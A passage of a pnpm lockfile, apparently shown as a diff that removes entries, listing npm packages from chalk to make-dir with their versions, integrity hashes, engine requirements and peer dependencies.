chalk@5.6.2: - resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==} - engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} - - chardet@2.1.1: - resolution: {integrity: sha512-PsezH1rqdV9VvyNhxxOW32/d75r01NY7TQCmOqomRo15ZSOKbpTFVsfjghxo6JloQUCGnH4k1LGu0R4yCLlWQQ==} - - check-error@2.1.3: - resolution: {integrity: sha512-PAJdDJusoxnwm1VwW07VWwUN1sl7smmC3OKggvndJFadxxDRyFJBX/ggnu/KE4kQAB7a3Dp8f/YXC1FlUprWmA==} - engines: {node: '>= 16'} - - ci-info@3.9.0: - resolution: {integrity: sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==} - engines: {node: '>=8'} - - cli-boxes@3.0.0: - resolution: {integrity: sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==} - engines: {node: '>=10'} - - cli-cursor@4.0.0: - resolution: {integrity: sha512-VGtlMu3x/4DOtIUwEkRezxUZ2lBacNJCHash0N0WeZDBS+7Ux1dm3XWAgWYxLJFMMdOeXMHXorshEFhbMSGelg==} - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - - cli-spinners@3.3.0: - resolution: {integrity: sha512-/+40ljC3ONVnYIttjMWrlL51nItDAbBrq2upN8BPyvGU/2n5Oxw3tbNwORCaNuNqLJnxGqOfjUuhsv7l5Q4IsQ==} - engines: {node: '>=18.20'} - - cli-truncate@4.0.0: - resolution: {integrity: sha512-nPdaFdQ0h/GEigbPClz11D0v/ZJEwxmeVZGeMo3Z5StPtUTkA9o1lD6QwoirYiSDzbcwn2XcjwmCp68W1IS4TA==} - engines: {node: '>=18'} - - cli-width@4.1.0: - resolution: {integrity: sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==} - engines: {node: '>= 12'} - - cliui@8.0.1: - resolution: {integrity: sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==} - engines: {node: '>=12'} - - code-excerpt@4.0.0: - resolution: {integrity: sha512-xxodCmBen3iy2i0WtAK8FlFNrRzjUqjRsMfho58xT/wvZU1YTM3fCnRjcy1gJPMepaRlgm/0e6w8SpWHpn3/cA==} - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - - color-convert@2.0.1: - resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} - engines: {node: '>=7.0.0'} - - color-name@1.1.4: - resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} - - colorette@2.0.20: - resolution: {integrity: sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==} - - convert-to-spaces@2.0.1: - resolution: {integrity: sha512-rcQ1bsQO9799wq24uE5AM2tAILy4gXGIK/njFWcVQkGNZ96edlpY+A7bjwvzjYvLDyzmG1MmMLZhpcsb+klNMQ==} - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - - cookie@1.1.1: - resolution: {integrity: sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==} - engines: {node: '>=18'} - - copy-to-clipboard@3.3.3: - resolution: {integrity: sha512-2KV8NhB5JqC3ky0r9PMCAZKbUHSwtEo4CwCs0KXgruG43gX5PMqDEBbVU4OUzw2MuAWUfsuFmWvEKG5QRfSnJA==} - - cross-spawn@7.0.6: - resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} - engines: {node: '>= 8'} - - csstype@3.2.3: - resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} - - dateformat@4.6.3: - resolution: {integrity: sha512-2P0p0pFGzHS5EMnhdxQi7aJN+iMheud0UhG4dlE1DLAlvL8JHjJJTX/CSm4JXwV0Ka5nGk3zC5mcb5bUQUxxMA==} - - debug@4.4.3: - resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} - engines: {node: '>=6.0'} - peerDependencies: - supports-color: '*' - peerDependenciesMeta: - supports-color: - optional: true - - deep-eql@5.0.2: - resolution: {integrity: sha512-h5k/5U50IJJFpzfL6nO9jaaumfjO/f2NjK/oYB2Djzm4p9L+3T9qWpZqZ2hAbLPuuYq9wrU08WQyBTL5GbPk5Q==} - engines: {node: '>=6'} - - deepmerge@4.3.1: - resolution: {integrity: sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==} - engines: {node: '>=0.10.0'} - - default-browser-id@5.0.1: - resolution: {integrity: sha512-x1VCxdX4t+8wVfd1so/9w+vQ4vx7lKd2Qp5tDRutErwmR85OgmfX7RlLRMWafRMY7hbEiXIbudNrjOAPa/hL8Q==} - engines: {node: '>=18'} - - default-browser@5.4.0: - resolution: {integrity: sha512-XDuvSq38Hr1MdN47EDvYtx3U0MTqpCEn+F6ft8z2vYDzMrvQhVp0ui9oQdqW3MvK3vqUETglt1tVGgjLuJ5izg==} - engines: {node: '>=18'} - - define-lazy-prop@3.0.0: - resolution: {integrity: sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==} - engines: {node: '>=12'} - - detect-indent@6.1.0: - resolution: {integrity: sha512-reYkTUJAZb9gUuZ2RvVCNhVHdg62RHnJ7WJl8ftMi4diZ6NWlciOzQN88pUhSELEwflJht4oQDv0F0BMlwaYtA==} - engines: {node: '>=8'} - - detect-libc@2.1.2: - resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} - engines: {node: '>=8'} - - dir-glob@3.0.1: - resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==} - engines: {node: '>=8'} - - eastasianwidth@0.2.0: - resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==} - - effect@3.19.19: - resolution: {integrity: sha512-Yc8U/SVXo2dHnaP7zNBlAo83h/nzSJpi7vph6Hzyl4ulgMBIgPmz3UzOjb9sBgpFE00gC0iETR244sfXDNLHRg==} - - emoji-regex@10.6.0: - resolution: {integrity: sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==} - - emoji-regex@8.0.0: - resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} - - emoji-regex@9.2.2: - resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==} - - end-of-stream@1.4.5: - resolution: {integrity: sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==} - - enquirer@2.4.1: - resolution: {integrity: sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==} - engines: {node: '>=8.6'} - - environment@1.1.0: - resolution: {integrity: sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==} - engines: {node: '>=18'} - - es-module-lexer@1.7.0: - resolution: {integrity: sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==} - - es-toolkit@1.43.0: - resolution: {integrity: sha512-SKCT8AsWvYzBBuUqMk4NPwFlSdqLpJwmy6AP322ERn8W2YLIB6JBXnwMI2Qsh2gfphT3q7EKAxKb23cvFHFwKA==} - - esbuild@0.25.12: - resolution: {integrity: sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==} - engines: {node: '>=18'} - hasBin: true - - esbuild@0.27.2: - resolution: {integrity: sha512-HyNQImnsOC7X9PMNaCIeAm4ISCQXs5a5YasTXVliKv4uuBo1dKrG0A+uQS8M5eXjVMnLg3WgXaKvprHlFJQffw==} - engines: {node: '>=18'} - hasBin: true - - escalade@3.2.0: - resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} - engines: {node: '>=6'} - - escape-string-regexp@2.0.0: - resolution: {integrity: sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==} - engines: {node: '>=8'} - - esprima@4.0.1: - resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} - engines: {node: '>=4'} - hasBin: true - - estree-walker@3.0.3: - resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} - - expect-type@1.3.0: - resolution: {integrity: sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==} - engines: {node: '>=12.0.0'} - - extendable-error@0.1.7: - resolution: {integrity: sha512-UOiS2in6/Q0FK0R0q6UY9vYpQ21mr/Qn1KOnte7vsACuNJf514WvCCUHSRCPcgjPT2bAhNIJdlE6bVap1GKmeg==} - - fast-check@3.23.2: - resolution: {integrity: sha512-h5+1OzzfCC3Ef7VbtKdcv7zsstUQwUDlYpUTvjeUsJAssPgLn7QzbboPtL5ro04Mq0rPOsMzl7q5hIbRs2wD1A==} - engines: {node: '>=8.0.0'} - - fast-copy@4.0.2: - resolution: {integrity: sha512-ybA6PDXIXOXivLJK/z9e+Otk7ve13I4ckBvGO5I2RRmBU1gMHLVDJYEuJYhGwez7YNlYji2M2DvVU+a9mSFDlw==} - - fast-glob@3.3.3: - resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} - engines: {node: '>=8.6.0'} - - fast-safe-stringify@2.1.1: - resolution: {integrity: sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==} - - fastq@1.20.1: - resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} - - fdir@6.5.0: - resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} - engines: {node: '>=12.0.0'} - peerDependencies: - picomatch: ^3 || ^4 - peerDependenciesMeta: - picomatch: - optional: true - - fflate@0.8.2: - resolution: {integrity: sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==} - - figures@6.1.0: - resolution: {integrity: sha512-d+l3qxjSesT4V7v2fh+QnmFnUWv9lSpjarhShNTgBOfA0ttejbQUAlHLitbjkoRiDulW0OPoQPYIGhIC8ohejg==} - engines: {node: '>=18'} - - fill-range@7.1.1: - resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} - engines: {node: '>=8'} - - find-my-way-ts@0.1.6: - resolution: {integrity: sha512-a85L9ZoXtNAey3Y6Z+eBWW658kO/MwR7zIafkIUPUMf3isZG0NCs2pjW2wtjxAKuJPxMAsHUIP4ZPGv0o5gyTA==} - - find-up@4.1.0: - resolution: {integrity: sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==} - engines: {node: '>=8'} - - flatted@3.3.3: - resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==} - - foreground-child@3.3.1: - resolution: {integrity: sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==} - engines: {node: '>=14'} - - fs-extra@7.0.1: - resolution: {integrity: sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==} - engines: {node: '>=6 <7 || >=8'} - - fs-extra@8.1.0: - resolution: {integrity: sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==} - engines: {node: '>=6 <7 || >=8'} - - fsevents@2.3.3: - resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} - engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} - os: [darwin] - - get-caller-file@2.0.5: - resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==} - engines: {node: 6.* || 8.* || >= 10.*} - - get-east-asian-width@1.4.0: - resolution: {integrity: sha512-QZjmEOC+IT1uk6Rx0sX22V6uHWVwbdbxf1faPqJ1QhLdGgsRGCZoyaQBm/piRdJy/D2um6hM1UP7ZEeQ4EkP+Q==} - engines: {node: '>=18'} - - get-tsconfig@4.13.0: - resolution: {integrity: sha512-1VKTZJCwBrvbd+Wn3AOgQP/2Av+TfTCOlE4AcRJE72W1ksZXbAx8PPBR9RzgTeSPzlPMHrbANMH3LbltH73wxQ==} - - glob-parent@5.1.2: - resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} - engines: {node: '>= 6'} - - glob@10.5.0: - resolution: {integrity: sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==} - hasBin: true - - globby@11.1.0: - resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==} - engines: {node: '>=10'} - - gql.tada@1.9.0: - resolution: {integrity: sha512-1LMiA46dRs5oF7Qev6vMU32gmiNvM3+3nHoQZA9K9j2xQzH8xOAWnnJrLSbZOFHTSdFxqn86TL6beo1/7ja/aA==} - hasBin: true - peerDependencies: - typescript: ^5.0.0 - - graceful-fs@4.2.11: - resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} - - graphql-request@7.4.0: - resolution: {integrity: sha512-xfr+zFb/QYbs4l4ty0dltqiXIp07U6sl+tOKAb0t50/EnQek6CVVBLjETXi+FghElytvgaAWtIOt3EV7zLzIAQ==} - peerDependencies: - graphql: 14 - 16 - - graphql@16.12.0: - resolution: {integrity: sha512-DKKrynuQRne0PNpEbzuEdHlYOMksHSUI8Zc9Unei5gTsMNA2/vMpoMz/yKba50pejK56qj98qM0SjYxAKi13gQ==} - engines: {node: ^12.22.0 || ^14.16.0 || ^16.0.0 || >=17.0.0} - - has-flag@4.0.0: - resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} - engines: {node: '>=8'} - - headers-polyfill@4.0.3: - resolution: {integrity: sha512-IScLbePpkvO846sIwOtOTDjutRMWdXdJmXdMvk6gCBHxFO8d+QKOQedyZSxFTTFYRSmlgSTDtXqqq4pcenBXLQ==} - - help-me@5.0.0: - resolution: {integrity: sha512-7xgomUX6ADmcYzFik0HzAxh/73YlKR9bmFzf51CZwR+b6YtzU2m0u49hQCqV6SvlqIqsaxovfwdvbnsw3b/zpg==} - - html-escaper@2.0.2: - resolution: {integrity: sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==} - - human-id@4.1.3: - resolution: {integrity: sha512-tsYlhAYpjCKa//8rXZ9DqKEawhPoSytweBC2eNvcaDK+57RZLHGqNs3PZTQO6yekLFSuvA6AlnAfrw1uBvtb+Q==} - hasBin: true - - iconv-lite@0.7.2: - resolution: {integrity: sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==} - engines: {node: '>=0.10.0'} - - ignore@5.3.2: - resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} - engines: {node: '>= 4'} - - indent-string@5.0.0: - resolution: {integrity: sha512-m6FAo/spmsW2Ab2fU35JTYwtOKa2yAwXSwgjSv1TJzh4Mh7mC3lzAOVLBprb72XsTrgkEIsl7YrFNAiDiRhIGg==} - engines: {node: '>=12'} - - ini@4.1.3: - resolution: {integrity: sha512-X7rqawQBvfdjS10YU1y1YVreA3SsLrW9dX2CewP2EbBJM4ypVNLDkO5y04gejPwKIY9lR+7r9gn3rFPt/kmWFg==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - ink-select-input@6.2.0: - resolution: {integrity: sha512-304fZXxkpYxJ9si5lxRCaX01GNlmPBgOZumXXRnPYbHW/iI31cgQynqk2tRypGLOF1cMIwPUzL2LSm6q4I5rQQ==} - engines: {node: '>=18'} - peerDependencies: - ink: '>=5.0.0' - react: '>=18.0.0' - - ink@5.2.1: - resolution: {integrity: sha512-BqcUyWrG9zq5HIwW6JcfFHsIYebJkWWb4fczNah1goUO0vv5vneIlfwuS85twyJ5hYR/y18FlAYUxrO9ChIWVg==} - engines: {node: '>=18'} - peerDependencies: - '@types/react': '>=18.0.0' - react: '>=18.0.0' - react-devtools-core: ^4.19.1 - peerDependenciesMeta: - '@types/react': - optional: true - react-devtools-core: - optional: true - - is-docker@3.0.0: - resolution: {integrity: sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==} - engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} - hasBin: true - - is-extglob@2.1.1: - resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} - engines: {node: '>=0.10.0'} - - is-fullwidth-code-point@3.0.0: - resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} - engines: {node: '>=8'} - - is-fullwidth-code-point@4.0.0: - resolution: {integrity: sha512-O4L094N2/dZ7xqVdrXhh9r1KODPJpFms8B5sGdJLPy664AgvXsreZUyCQQNItZRDlYug4xStLjNp/sz3HvBowQ==} - engines: {node: '>=12'} - - is-fullwidth-code-point@5.1.0: - resolution: {integrity: sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==} - engines: {node: '>=18'} - - is-glob@4.0.3: - resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} - engines: {node: '>=0.10.0'} - - is-in-ci@1.0.0: - resolution: {integrity: sha512-eUuAjybVTHMYWm/U+vBO1sY/JOCgoPCXRxzdju0K+K0BiGW0SChEL1MLC0PoCIR1OlPo5YAp8HuQoUlsWEICwg==} - engines: {node: '>=18'} - hasBin: true - - is-inside-container@1.0.0: - resolution: {integrity: sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==} - engines: {node: '>=14.16'} - hasBin: true - - is-node-process@1.2.0: - resolution: {integrity: sha512-Vg4o6/fqPxIjtxgUH5QLJhwZ7gW5diGCVlXpuUfELC62CuxM1iHcRe51f2W1FDy04Ai4KJkagKjx3XaqyfRKXw==} - - is-number@7.0.0: - resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} - engines: {node: '>=0.12.0'} - - is-subdir@1.2.0: - resolution: {integrity: sha512-2AT6j+gXe/1ueqbW6fLZJiIw3F8iXGJtt0yDrZaBhAZEG1raiTxKWU+IPqMCzQAXOUCKdA4UDMgacKH25XG2Cw==} - engines: {node: '>=4'} - - is-unicode-supported@2.1.0: - resolution: {integrity: sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ==} - engines: {node: '>=18'} - - is-windows@1.0.2: - resolution: {integrity: sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==} - engines: {node: '>=0.10.0'} - - is-wsl@3.1.0: - resolution: {integrity: sha512-UcVfVfaK4Sc4m7X3dUSoHoozQGBEFeDC+zVo06t98xe8CzHSZZBekNXH+tu0NalHolcJ/QAGqS46Hef7QXBIMw==} - engines: {node: '>=16'} - - isexe@2.0.0: - resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} - - istanbul-lib-coverage@3.2.2: - resolution: {integrity: sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==} - engines: {node: '>=8'} - - istanbul-lib-report@3.0.1: - resolution: {integrity: sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==} - engines: {node: '>=10'} - - istanbul-lib-source-maps@5.0.6: - resolution: {integrity: sha512-yg2d+Em4KizZC5niWhQaIomgf5WlL4vOOjZ5xGCmF8SnPE/mDWWXgvRExdcpCgh9lLRRa1/fSYp2ymmbJ1pI+A==} - engines: {node: '>=10'} - - istanbul-reports@3.2.0: - resolution: {integrity: sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==} - engines: {node: '>=8'} - - jackspeak@3.4.3: - resolution: {integrity: sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==} - - joycon@3.1.1: - resolution: {integrity: sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==} - engines: {node: '>=10'} - - js-tokens@4.0.0: - resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} - - js-tokens@9.0.1: - resolution: {integrity: sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==} - - js-yaml@3.14.2: - resolution: {integrity: sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==} - hasBin: true - - js-yaml@4.1.1: - resolution: {integrity: sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==} - hasBin: true - - jsonfile@4.0.0: - resolution: {integrity: sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==} - - kleur@3.0.3: - resolution: {integrity: sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==} - engines: {node: '>=6'} - - kubernetes-types@1.30.0: - resolution: {integrity: sha512-Dew1okvhM/SQcIa2rcgujNndZwU8VnSapDgdxlYoB84ZlpAD43U6KLAFqYo17ykSFGHNPrg0qry0bP+GJd9v7Q==} - - locate-path@5.0.0: - resolution: {integrity: sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==} - engines: {node: '>=8'} - - lodash.startcase@4.4.0: - resolution: {integrity: sha512-+WKqsK294HMSc2jEbNgpHpd0JfIBhp7rEV4aqXWqFr6AlXov+SlcgB1Fv01y2kGe3Gc8nMW7VA0SrGuSkRfIEg==} - - loose-envify@1.4.0: - resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==} - hasBin: true - - loupe@3.2.1: - resolution: {integrity: sha512-CdzqowRJCeLU72bHvWqwRBBlLcMEtIvGrlvef74kMnV2AolS9Y8xUv1I0U/MNAWMhBlKIoyuEgoJ0t/bbwHbLQ==} - - lru-cache@10.4.3: - resolution: {integrity: sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==} - - magic-string@0.30.21: - resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} - - magicast@0.3.5: - resolution: {integrity: sha512-L0WhttDl+2BOsybvEOLK7fW3UA0OQ0IQ2d6Zl2x/a6vVRs3bAY0ECOSHHeL5jD+SbOpOCUEi0y1DgHEn9Qn1AQ==} - - make-dir@4.0.0: - resolution: {integrity: sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==} - engines: {node: 